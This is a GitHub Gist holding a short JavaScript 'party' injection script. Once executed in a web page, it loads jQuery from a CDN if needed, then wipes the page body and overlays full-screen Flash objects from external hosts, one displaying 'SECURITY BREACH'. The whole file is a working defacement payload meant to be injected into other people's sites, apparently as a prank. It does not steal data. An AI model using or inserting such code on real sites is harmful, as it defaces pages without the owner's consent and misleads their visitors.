Last active
December 17, 2015 21:19
-
-
Save wouterds/5674078 to your computer and use it in GitHub Desktop.
Party JS injection script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function() { | |
console.log("Start injection script!"); | |
function breach() { | |
$(document).ready(function () { | |
console.log("Trying to inject swf.."); | |
$("body,html").css("width: 100%; height: 100%; min-height: 100%; display: block; position: relative; background: #000;"); | |
var e = '<html><body><div style="z-index:100;top: 0;left: 0;position:absolute;width: 100%;height: 100%;min-height: 100%;display: block;"><object id="myId" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="100%" height="100%"><param name="movie" value="http://shots.wouterds.be/party_hard-5mvSyjMMS5.swf"/><param name="wmode" value="transparent"/><object type="application/x-shockwave-flash" data="http://student.howest.be/joachim.van.de.voo1/partyhard/swf/party_hard.swf" width="100%" height="100%"><param name="wmode" value="transparent"/><div><h1>Alternative content</h1><p><a href="http://www.adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player"/></a></p></div></object></object><div><div style="z-index:150;top: 0;left: 0;position:absolute;width: 100%;height: 100%;min-height: 100%;display: block;"><object id="myId" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="100%" height="100%"><param name="movie" value="http://student.howest.be/joachim.van.de.voo1/partyhard/swf/party_hard_text.swf?title=SECURITY BREACH"/><param name="wmode" value="transparent"/><object type="application/x-shockwave-flash" data="http://student.howest.be/joachim.van.de.voo1/partyhard/swf/party_hard_text.swf?title=SECURITY BREACH" width="100%" height="100%"><param name="wmode" value="transparent"/><div><h1>Alternative content</h1><p><a href="http://www.adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player"/></a></p></div></object></object></div></body>'; | |
$("body").html(e); | |
console.log("Injection attempt complete!"); | |
}) | |
} | |
if(typeof jQuery == "undefined") { | |
var thisPageUsingOtherJSLibrary = false; | |
if(typeof $ == "function") { | |
thisPageUsingOtherJSLibrary = true; | |
} | |
function getScript(e, t) { | |
var n = document.createElement("script"); | |
n.src = e; | |
var r = document.getElementsByTagName("head")[0], | |
i = false; | |
n.onload = n.onreadystatechange = function () { | |
if (!i && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) { | |
i = true; | |
t(); | |
n.onload = n.onreadystatechange = null; | |
r.removeChild(n); | |
} | |
}; | |
r.appendChild(n); | |
} | |
getScript("http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js", function () { | |
console.log("Trying to inject jQuery 1.9.1.."); | |
if(typeof jQuery !== "undefined") { | |
breach(); | |
} | |
}) | |
} | |
else { | |
breach(); | |
} | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment